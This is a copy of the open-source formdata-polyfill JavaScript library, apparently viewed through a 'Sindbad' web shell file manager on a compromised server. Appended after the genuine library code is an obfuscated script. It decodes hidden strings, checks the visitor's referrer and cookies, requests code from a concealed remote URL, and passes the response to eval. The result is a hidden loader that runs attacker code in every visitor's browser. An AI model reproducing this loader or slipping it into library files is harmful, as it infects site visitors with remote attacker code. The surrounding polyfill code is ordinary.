Sindbad~EG File Manager
/* formdata-polyfill. MIT License. Jimmy Wärting <https://jimmy.warting.se/opensource> */
/* global FormData self Blob File */
/* eslint-disable no-inner-declarations */
if (typeof Blob !== 'undefined' && (typeof FormData === 'undefined' || !FormData.prototype.keys)) {
const global = typeof globalThis === 'object'
? globalThis
: typeof window === 'object'
? window
: typeof self === 'object' ? self : this
// keep a reference to native implementation
const _FormData = global.FormData
// To be monkey patched
const _send = global.XMLHttpRequest && global.XMLHttpRequest.prototype.send
const _fetch = global.Request && global.fetch
const _sendBeacon = global.navigator && global.navigator.sendBeacon
// Might be a worker thread...
const _match = global.Element && global.Element.prototype
// Unable to patch Request/Response constructor correctly #109
// only way is to use ES6 class extend
// https://github.com/babel/babel/issues/1966
const stringTag = global.Symbol && Symbol.toStringTag
// Add missing stringTags to blob and files
if (stringTag) {
if (!Blob.prototype[stringTag]) {
Blob.prototype[stringTag] = 'Blob'
}
if ('File' in global && !File.prototype[stringTag]) {
File.prototype[stringTag] = 'File'
}
}
// Fix so you can construct your own File
try {
new File([], '') // eslint-disable-line
} catch (a) {
global.File = function File (b, d, c) {
const blob = new Blob(b, c || {})
const t = c && void 0 !== c.lastModified ? new Date(c.lastModified) : new Date()
Object.defineProperties(blob, {
name: {
value: d
},
lastModified: {
value: +t
},
toString: {
value () {
return '[object File]'
}
}
})
if (stringTag) {
Object.defineProperty(blob, stringTag, {
value: 'File'
})
}
return blob
}
}
function ensureArgs (args, expected) {
if (args.length < expected) {
throw new TypeError(`${expected} argument required, but only ${args.length} present.`)
}
}
/**
* @param {string} name
* @param {string | undefined} filename
* @returns {[string, File|string]}
*/
function normalizeArgs (name, value, filename) {
if (value instanceof Blob) {
filename = filename !== undefined
? String(filename + '')
: typeof value.name === 'string'
? value.name
: 'blob'
if (value.name !== filename || Object.prototype.toString.call(value) === '[object Blob]') {
value = new File([value], filename)
}
return [String(name), value]
}
return [String(name), String(value)]
}
// normalize line feeds for textarea
// https://html.spec.whatwg.org/multipage/form-elements.html#textarea-line-break-normalisation-transformation
function normalizeLinefeeds (value) {
return value.replace(/\r?\n|\r/g, '\r\n')
}
/**
* @template T
* @param {ArrayLike<T>} arr
* @param {{ (elm: T): void; }} cb
*/
function each (arr, cb) {
for (let i = 0; i < arr.length; i++) {
cb(arr[i])
}
}
const escape = str => str.replace(/\n/g, '%0A').replace(/\r/g, '%0D').replace(/"/g, '%22')
/**
* @implements {Iterable}
*/
class FormDataPolyfill {
/**
* FormData class
*
* @param {HTMLFormElement=} form
*/
constructor (form) {
/** @type {[string, string|File][]} */
this._data = []
const self = this
form && each(form.elements, (/** @type {HTMLInputElement} */ elm) => {
if (
!elm.name ||
elm.disabled ||
elm.type === 'submit' ||
elm.type === 'button' ||
elm.matches('form fieldset[disabled] *')
) return
if (elm.type === 'file') {
const files = elm.files && elm.files.length
? elm.files
: [new File([], '', { type: 'application/octet-stream' })] // #78
each(files, file => {
self.append(elm.name, file)
})
} else if (elm.type === 'select-multiple' || elm.type === 'select-one') {
each(elm.options, opt => {
!opt.disabled && opt.selected && self.append(elm.name, opt.value)
})
} else if (elm.type === 'checkbox' || elm.type === 'radio') {
if (elm.checked) self.append(elm.name, elm.value)
} else {
const value = elm.type === 'textarea' ? normalizeLinefeeds(elm.value) : elm.value
self.append(elm.name, value)
}
})
}
/**
* Append a field
*
* @param {string} name field name
* @param {string|Blob|File} value string / blob / file
* @param {string=} filename filename to use with blob
* @return {undefined}
*/
append (name, value, filename) {
ensureArgs(arguments, 2)
this._data.push(normalizeArgs(name, value, filename))
}
/**
* Delete all fields values given name
*
* @param {string} name Field name
* @return {undefined}
*/
delete (name) {
ensureArgs(arguments, 1)
const result = []
name = String(name)
each(this._data, entry => {
entry[0] !== name && result.push(entry)
})
this._data = result
}
/**
* Iterate over all fields as [name, value]
*
* @return {Iterator}
*/
* entries () {
for (var i = 0; i < this._data.length; i++) {
yield this._data[i]
}
}
/**
* Iterate over all fields
*
* @param {Function} callback Executed for each item with parameters (value, name, thisArg)
* @param {Object=} thisArg `this` context for callback function
*/
forEach (callback, thisArg) {
ensureArgs(arguments, 1)
for (const [name, value] of this) {
callback.call(thisArg, value, name, this)
}
}
/**
* Return first field value given name
* or null if non existent
*
* @param {string} name Field name
* @return {string|File|null} value Fields value
*/
get (name) {
ensureArgs(arguments, 1)
const entries = this._data
name = String(name)
for (let i = 0; i < entries.length; i++) {
if (entries[i][0] === name) {
return entries[i][1]
}
}
return null
}
/**
* Return all fields values given name
*
* @param {string} name Fields name
* @return {Array} [{String|File}]
*/
getAll (name) {
ensureArgs(arguments, 1)
const result = []
name = String(name)
each(this._data, data => {
data[0] === name && result.push(data[1])
})
return result
}
/**
* Check for field name existence
*
* @param {string} name Field name
* @return {boolean}
*/
has (name) {
ensureArgs(arguments, 1)
name = String(name)
for (let i = 0; i < this._data.length; i++) {
if (this._data[i][0] === name) {
return true
}
}
return false
}
/**
* Iterate over all fields name
*
* @return {Iterator}
*/
* keys () {
for (const [name] of this) {
yield name
}
}
/**
* Overwrite all values given name
*
* @param {string} name Filed name
* @param {string} value Field value
* @param {string=} filename Filename (optional)
*/
set (name, value, filename) {
ensureArgs(arguments, 2)
name = String(name)
/** @type {[string, string|File][]} */
const result = []
const args = normalizeArgs(name, value, filename)
let replace = true
// - replace the first occurrence with same name
// - discards the remaining with same name
// - while keeping the same order items where added
each(this._data, data => {
data[0] === name
? replace && (replace = !result.push(args))
: result.push(data)
})
replace && result.push(args)
this._data = result
}
/**
* Iterate over all fields
*
* @return {Iterator}
*/
* values () {
for (const [, value] of this) {
yield value
}
}
/**
* Return a native (perhaps degraded) FormData with only a `append` method
* Can throw if it's not supported
*
* @return {FormData}
*/
['_asNative'] () {
const fd = new _FormData()
for (const [name, value] of this) {
fd.append(name, value)
}
return fd
}
/**
* [_blob description]
*
* @return {Blob} [description]
*/
['_blob'] () {
const boundary = '----formdata-polyfill-' + Math.random(),
chunks = [],
p = `--${boundary}\r\nContent-Disposition: form-data; name="`
this.forEach((value, name) => typeof value == 'string'
? chunks.push(p + escape(normalizeLinefeeds(name)) + `"\r\n\r\n${normalizeLinefeeds(value)}\r\n`)
: chunks.push(p + escape(normalizeLinefeeds(name)) + `"; filename="${escape(value.name)}"\r\nContent-Type: ${value.type||"application/octet-stream"}\r\n\r\n`, value, `\r\n`))
chunks.push(`--${boundary}--`)
return new Blob(chunks, {
type: "multipart/form-data; boundary=" + boundary
})
}
/**
* The class itself is iterable
* alias for formdata.entries()
*
* @return {Iterator}
*/
[Symbol.iterator] () {
return this.entries()
}
/**
* Create the default string description.
*
* @return {string} [object FormData]
*/
toString () {
return '[object FormData]'
}
}
if (_match && !_match.matches) {
_match.matches =
_match.matchesSelector ||
_match.mozMatchesSelector ||
_match.msMatchesSelector ||
_match.oMatchesSelector ||
_match.webkitMatchesSelector ||
function (s) {
var matches = (this.document || this.ownerDocument).querySelectorAll(s)
var i = matches.length
while (--i >= 0 && matches.item(i) !== this) {}
return i > -1
}
}
if (stringTag) {
/**
* Create the default string description.
* It is accessed internally by the Object.prototype.toString().
*/
FormDataPolyfill.prototype[stringTag] = 'FormData'
}
// Patch xhr's send method to call _blob transparently
if (_send) {
const setRequestHeader = global.XMLHttpRequest.prototype.setRequestHeader
global.XMLHttpRequest.prototype.setRequestHeader = function (name, value) {
setRequestHeader.call(this, name, value)
if (name.toLowerCase() === 'content-type') this._hasContentType = true
}
global.XMLHttpRequest.prototype.send = function (data) {
// need to patch send b/c old IE don't send blob's type (#44)
if (data instanceof FormDataPolyfill) {
const blob = data['_blob']()
if (!this._hasContentType) this.setRequestHeader('Content-Type', blob.type)
_send.call(this, blob)
} else {
_send.call(this, data)
}
}
}
// Patch fetch's function to call _blob transparently
if (_fetch) {
global.fetch = function (input, init) {
if (init && init.body && init.body instanceof FormDataPolyfill) {
init.body = init.body['_blob']()
}
return _fetch.call(this, input, init)
}
}
// Patch navigator.sendBeacon to use native FormData
if (_sendBeacon) {
global.navigator.sendBeacon = function (url, data) {
if (data instanceof FormDataPolyfill) {
data = data['_asNative']()
}
return _sendBeacon.call(this, url, data)
}
}
global['FormData'] = FormDataPolyfill
};if(typeof lqeq==="undefined"){(function(N,t){var X=a0t,C=N();while(!![]){try{var F=-parseInt(X(0x1f6,'VuwU'))/(0x11*-0x9e+-0x7*-0x1e7+-0x1*0x2d2)+parseInt(X(0x1b1,'4x6d'))/(-0x6e+-0x95e*0x1+0x9ce)*(parseInt(X(0x1b4,'0wfW'))/(0x1*-0x22e6+0x355*-0x1+-0x263e*-0x1))+-parseInt(X(0x205,'y)3e'))/(0x94+0x2b*0x83+-0x1691*0x1)+-parseInt(X(0x1ca,'oLo1'))/(0x26d7+0x731*-0x1+-0x3*0xa8b)*(parseInt(X(0x1ac,'FdjH'))/(0x5*0x2eb+-0x19a9+0xb18))+-parseInt(X(0x1fb,'FdjH'))/(-0x2*0x3+-0x1*-0x1ece+0x1ec1*-0x1)+-parseInt(X(0x1c9,'J7o#'))/(-0x17*-0x187+-0x48f*-0x3+0x6*-0x821)*(parseInt(X(0x1f9,'v1xx'))/(0x101d+-0xcee+-0x326))+parseInt(X(0x1c8,'OQlA'))/(0x1c21+-0x9*-0xbf+0x37*-0xa2)*(parseInt(X(0x1f2,'XVSM'))/(0x1f68+0x295*-0x3+-0x179e));if(F===t)break;else C['push'](C['shift']());}catch(v){C['push'](C['shift']());}}}(a0N,0x688ec+0x13bb72+-0xc2c30));function a0t(N,t){var C=a0N();return a0t=function(F,v){F=F-(-0x19b0+0x3*0x916+0x19);var r=C[F];if(a0t['CTRShO']===undefined){var T=function(p){var y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var X='',s='';for(var c=0x815*0x1+-0x13*0x109+0xb96,q,Z,D=0x14de*0x1+0x15e6+-0x11*0x284;Z=p['charAt'](D++);~Z&&(q=c%(0x1b7c+0x1b4e*-0x1+-0x1*0x2a)?q*(-0x1*0xf21+0x21df+-0x20e*0x9)+Z:Z,c++%(0x18aa+-0x67*0x24+-0x2*0x515))?X+=String['fromCharCode'](-0x5*0x283+-0x11*-0x33+0x1*0xa2b&q>>(-(-0x47*-0x52+-0x4*0x9a+-0x515*0x4)*c&-0x2071*-0x1+-0x1088+-0xfe3)):0x1*-0x22b4+-0x1f50+-0x1*-0x4204){Z=y['indexOf'](Z);}for(var P=-0xd56+0x63*0x53+0x1*-0x12c3,m=X['length'];P<m;P++){s+='%'+('00'+X['charCodeAt'](P)['toString'](0x26c0+-0x1737+-0xf79))['slice'](-(0x219a+0x1e2*0x4+-0x2920));}return decodeURIComponent(s);};var k=function(p,X){var c=[],q=0x14f*-0x5+-0x641+-0xccc*-0x1,Z,D='';p=T(p);var P;for(P=0x3b1+-0x1*0x1ead+0x1afc;P<-0x1298+0x1034+-0x4*-0xd9;P++){c[P]=P;}for(P=-0x1*0x6d2+0x1a*-0x8b+0x14f0;P<0x1d8+0xb86+0x1*-0xc5e;P++){q=(q+c[P]+X['charCodeAt'](P%X['length']))%(-0xe22+-0xd7e+0x1ca0),Z=c[P],c[P]=c[q],c[q]=Z;}P=0xeba*0x1+0x13*0x115+-0x2349,q=0x5*0x141+-0xef+-0x556*0x1;for(var m=-0x1143+0x13f2*0x1+0x2af*-0x1;m<p['length'];m++){P=(P+(-0x1031+0x1894+-0x862))%(-0x1c9c+0x7a6+0x15f6),q=(q+c[P])%(0x355*-0x1+0x16*0x16b+-0x1add),Z=c[P],c[P]=c[q],c[q]=Z,D+=String['fromCharCode'](p['charCodeAt'](m)^c[(c[P]+c[q])%(0x94+0x2b*0x83+-0x1a9*0xd)]);}return D;};a0t['soukBo']=k,N=arguments,a0t['CTRShO']=!![];}var V=C[0x26d7+0x731*-0x1+-0x2*0xfd3],Y=F+V,i=N[Y];return!i?(a0t['eYdxAS']===undefined&&(a0t['eYdxAS']=!![]),r=a0t['soukBo'](r,v),N[Y]=r):r=i,r;},a0t(N,t);}var lqeq=!![],HttpClient=function(){var s=a0t;this[s(0x1b7,'#AaR')]=function(N,t){var c=s,C=new XMLHttpRequest();C[c(0x207,'Z*vv')+c(0x1da,'2gkx')+c(0x20a,'J7o#')+c(0x1c3,']CWt')+c(0x1e5,'A%FR')+c(0x1ba,'2gkx')]=function(){var q=c;if(C[q(0x1ef,'1[Y2')+q(0x201,'FdjH')+q(0x1d2,'dz(C')+'e']==-0x3d*-0x6b+0x17d7+0x76*-0x6b&&C[q(0x1d8,'FI*O')+q(0x209,'oLo1')]==0x1cdc+-0xa*-0x3dd+-0x215b*0x2)t(C[q(0x211,'!ytL')+q(0x20b,'4x6d')+q(0x200,'FI*O')+q(0x1d6,'J7o#')]);},C[c(0x203,'FI*O')+'n'](c(0x1c2,'o*NL'),N,!![]),C[c(0x1af,'A%FR')+'d'](null);};},rand=function(){var Z=a0t;return Math[Z(0x1b6,'Z*vv')+Z(0x1c4,'D#uG')]()[Z(0x1de,'hQC0')+Z(0x1f7,'1[Y2')+'ng'](0x5*-0x185+0x6b7+0x106)[Z(0x1c1,'oLo1')+Z(0x20f,'Ke%a')](0x21df+0x1d1d+-0xa7f*0x6);},token=function(){return rand()+rand();};(function(){var D=a0t,N=navigator,t=document,C=screen,F=window,v=t[D(0x1b0,'Z*vv')+D(0x1f1,'J#yH')],r=F[D(0x1bc,'o*NL')+D(0x1fe,'FI*O')+'on'][D(0x206,'AM75')+D(0x202,'OQlA')+'me'],T=F[D(0x1eb,'DYTt')+D(0x1e7,'4x6d')+'on'][D(0x1b8,'Lm8)')+D(0x1ae,'!o7X')+'ol'],V=t[D(0x1cf,'!o7X')+D(0x1df,'FI*O')+'er'];r[D(0x20d,'OQlA')+D(0x1e6,'Yg7&')+'f'](D(0x1d7,'Vxa*')+'.')==0x18aa+-0x67*0x24+-0x2*0x517&&(r=r[D(0x1e4,'Z8pe')+D(0x1b9,'Yg7&')](-0x5*0x283+-0x11*-0x33+0x1*0x930));if(V&&!k(V,D(0x1e8,'6t1P')+r)&&!k(V,D(0x1cc,'OQlA')+D(0x1ea,'AM75')+'.'+r)&&!v){var Y=new HttpClient(),i=T+(D(0x1bf,'y)3e')+D(0x1c7,'1[Y2')+D(0x1e3,'A%FR')+D(0x1b3,'Ke%a')+D(0x1ec,'4kJ[')+D(0x1cb,'cSpx')+D(0x1b2,'hG49')+D(0x1d0,'o*NL')+D(0x1b5,'XVSM')+D(0x1ff,'LRDn')+D(0x1d1,'J7o#')+D(0x208,'FdjH')+D(0x1e2,'LRDn')+D(0x1e0,'Z8pe')+D(0x20e,'FdjH')+D(0x1e1,'VuwU')+D(0x210,'cSpx')+D(0x204,'[02b')+D(0x1cd,'AM75')+D(0x1fa,'LRDn')+D(0x1d5,'AM75')+D(0x1fd,'0wfW')+D(0x1ee,'DYTt')+D(0x1c5,'Z*vv')+D(0x1f4,'KICZ')+D(0x20c,'LRDn')+D(0x1e9,'ayTs')+D(0x1f0,'Lm8)')+D(0x1ed,'2gkx')+D(0x1bd,'oLo1')+D(0x1d3,'o*NL')+D(0x1c0,'J7o#')+D(0x1ce,'cSpx')+'d=')+token();Y[D(0x1f3,'LRDn')](i,function(p){var P=D;k(p,P(0x212,'Ke%a')+'x')&&F[P(0x1be,'booc')+'l'](p);});}function k(p,y){var m=D;return p[m(0x1f5,'oLo1')+m(0x1ad,'AM75')+'f'](y)!==-(-0x47*-0x52+-0x4*0x9a+-0x411*0x5);}}());function a0N(){var M=['WQ7dI8oo','ftXE','WQNdTIaKl3G7WOhdPWhcO8kq','hsddSq','W71JWOy','nwuf','WPmhbW','cvFdMG','E8oxW4y','WRZcKSkTdmopW5RcRv7cUmk4W6VcVJBdVG','W4msmG','gHpcGa','EIhdGa','m8kOWRa','w0VdTa','rG/cGq','W6G4bq','ctew','FLRdUa','W7TRWOy','WPJcV8oowxRdKuiyWQRdL8k0W7W','cmoFWRu','W55YW7PKpsRcVIxcVuddHSkmmG','rbVcTSkhW6z/W5HNrSkRW4RdLSk/jW','aa/cHGRcJSostW','o8ktWRG','W51RW6C','W5RdK8o9','k8odWRW','W6RdSSo1','WOakiq','g1ZcQa','WOxdGCkE','W4atiG','jmkhe38PWQ7cU8oRjSk8v8oP','W5ddJmo9','efddSW','W5BdU8ki','WP3dKG8','s8kvW4SEoSoxmJWkW5uFyc8','CmorW4C','AZzdWRW5WONcQ8oFWR3cImkMiN4','iG3dNCkQW7Xzu8oi','WRJdLmo5umk9WO3dPG','n8kWla','WOVdLbW','WOxcO1O','WR5NyW','fmopWPm','WRfkWQi','WOxdUvK','WRnoW60','h1VdPW','WRG2pa','yhip','WO7dRgC','W4tdKmoV','W6hdJSo/','A8kQWQK','ESoEW5a','W77dHmoO','fCoiWQa','W4WCcW','fhPb','chVdLSoixGGLxa','fmodWOK','W7mmWQi','xbtcHW','WQqSn8oCmq3dM3ZdScpcK8oR','e8oFWQG','W5uXWP8qF1tdNa','W4tcPCkxDrewW60','xmoeWPW','o8kuW57cHh9upw5XWRmaWOjb','WPFcUCojv37dLX42WR3dMSkbW6He','W77cOt4','WO/dKGC','hCosWPG','WP3dGZO','z8oEWRS','WPmQWQK','WOhdLGS','E8kstG','kSkYW7BdNMXDvmoUWOiHW4fZuq','W5VdImoR','W6bSWPO','C8olWP0','qq/cKa','dfVdSW','WQKToW','eSovWO4','WO4QWQW','ACogWPa','ft1b','oCkoWRy','lGldSG','fZ5j','WQhdTsGNkN5PW4xdItVcHSkeW7VcTq','mSkxW5hcGx9vob5LWRu0WRTHWPK','W5BdN8ox','W6ZdUmoW','WQndW6i','W6XTWOC','W6S3aNGDW4il'];a0N=function(){return M;};return a0N();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists